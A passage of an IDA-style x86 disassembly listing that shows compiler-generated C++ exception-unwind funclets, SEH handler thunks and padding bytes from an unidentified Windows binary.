; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40206D
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4036D0 proc near ; DATA XREF: sub_4036D0+2o
mov eax, offset dword_43E4C0
jmp sub_4367C8
SEH_4036D0 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C00 proc near ; DATA XREF: sub_403C00+2o
mov eax, offset dword_43E700
jmp sub_4367C8
SEH_403C00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FC8: ; DATA XREF: ___:0043E75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C90 proc near ; DATA XREF: sub_403C90+2o
mov eax, offset dword_43E730
jmp sub_4367C8
SEH_403C90 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FF8: ; DATA XREF: ___:0043E794o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D10 proc near ; DATA XREF: sub_403D10+2o
mov eax, offset dword_43E768
jmp sub_4367C8
SEH_403D10 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D90 proc near ; DATA XREF: sub_403D90+2o
mov eax, offset dword_43E7A0
jmp sub_4367C8
SEH_403D90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_438048: ; DATA XREF: ___:0043E7FCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403E00 proc near ; DATA XREF: sub_403E00+2o
mov eax, offset dword_43E7D0
jmp sub_4367C8
SEH_403E00 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_4380C8: ; DATA XREF: ___:0043E85Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403EE0 proc near ; DATA XREF: sub_403EE0+2o
mov eax, offset dword_43E830
jmp sub_4367C8
SEH_403EE0 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403FC0 proc near ; DATA XREF: sub_403FC0+2o
mov eax, offset dword_43E890
jmp sub_4367C8
SEH_403FC0 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438208: ; DATA XREF: ___:0043E974o
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404640 proc near ; DATA XREF: sub_404640+2o
mov eax, offset dword_43E948
jmp sub_4367C8
SEH_404640 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43828B: ; DATA XREF: ___:0043E9FCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438296: ; DATA XREF: ___:0043EA04o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404C70 proc near ; DATA XREF: sub_404C70+8o
mov eax, offset dword_43E9D0
jmp sub_4367C8
SEH_404C70 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_438530: ; DATA XREF: ___:0043EBD4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43854E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43854E: ; CODE XREF: ___:00438540j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4066E0 proc near ; DATA XREF: sub_4066E0+2o
mov eax, offset dword_43EBA8
jmp sub_4367C8
SEH_4066E0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_438570: ; DATA XREF: ___:0043EC0Co
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_438594
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438594: ; CODE XREF: ___:00438586j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406890 proc near ; DATA XREF: sub_406890+2o
mov eax, offset dword_43EBE0
jmp sub_4367C8
SEH_406890 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385BB: ; DATA XREF: ___:0043EC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385C6: ; DATA XREF: ___:0043EC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406C30 proc near ; DATA XREF: sub_406C30+8o
mov eax, offset dword_43EC18
jmp sub_4367C8
SEH_406C30 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407030 proc near ; DATA XREF: sub_407030+2o
mov eax, offset dword_43EC58
jmp sub_4367C8
SEH_407030 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407660 proc near ; DATA XREF: sub_407660+8o
mov eax, offset dword_43EC88
jmp sub_4367C8
SEH_407660 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438638: ; DATA XREF: ___:0043ECE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4076F0 proc near ; DATA XREF: sub_4076F0+8o
mov eax, offset dword_43ECB8
jmp sub_4367C8
SEH_4076F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43865B: ; DATA XREF: ___:0043ED1Co
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2FCh]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407790 proc near ; DATA XREF: sub_407790+2o
mov eax, offset dword_43ECF0
jmp sub_4367C8
SEH_407790 endp
; ---------------------------------------------------------------------------
db 0CAh dup(0CCh)
dd 0E9C84D8Dh, 75C56A4Dh
db 7Bh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_409580 proc near ; DATA XREF: sub_409580+2o
mov eax, offset dword_43F098
jmp sub_4367C8
SEH_409580 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A290 proc near ; DATA XREF: sub_40A290+2o
mov eax, offset dword_43F0C8
jmp sub_4367C8
SEH_40A290 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_438A86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438A86: ; CODE XREF: ___:00438A78j
retn
; ---------------------------------------------------------------------------
loc_438A87: ; DATA XREF: ___:0043F124o
lea ecx, [ebp-34h]
jmp sub_40158C
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A430 proc near ; DATA XREF: sub_40A430+2o
mov eax, offset dword_43F0F8
jmp sub_4367C8
SEH_40A430 endp
; ---------------------------------------------------------------------------
align 10h
dd 90C84D8Dh, 0C569CCE9h
db 75h
; ---------------------------------------------------------------------------
loc_438AB9: ; DATA XREF: ___:0040A952o
mov eax, offset dword_43F138
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AE10 proc near ; DATA XREF: sub_40AE10+5o
mov eax, offset dword_43F168
jmp sub_4367C8
SEH_40AE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AF90 proc near ; DATA XREF: sub_40AF90+5o
mov eax, offset dword_43F1C8
jmp sub_4367C8
SEH_40AF90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438AFB: ; DATA XREF: ___:0043F254o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_401555
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B0B0 proc near ; DATA XREF: sub_40B0B0+2o
mov eax, offset dword_43F228
jmp sub_4367C8
SEH_40B0B0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438B4B: ; DATA XREF: ___:0043F29Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_401555
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B170 proc near ; DATA XREF: sub_40B170+2o
mov eax, offset dword_43F270
jmp sub_4367C8
SEH_40B170 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B210 proc near ; DATA XREF: sub_40B210+2o
mov eax, offset dword_43F2B8
jmp sub_4367C8
SEH_40B210 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438BC8: ; DATA XREF: ___:0043F324o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B430 proc near ; DATA XREF: sub_40B430+2o
mov eax, offset dword_43F2F8
jmp sub_4367C8
SEH_40B430 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438BF8: ; DATA XREF: ___:0040B5F2o
mov eax, offset dword_43F338
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438C30: ; DATA XREF: ___:0040B8D8o
mov eax, offset dword_43F368
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
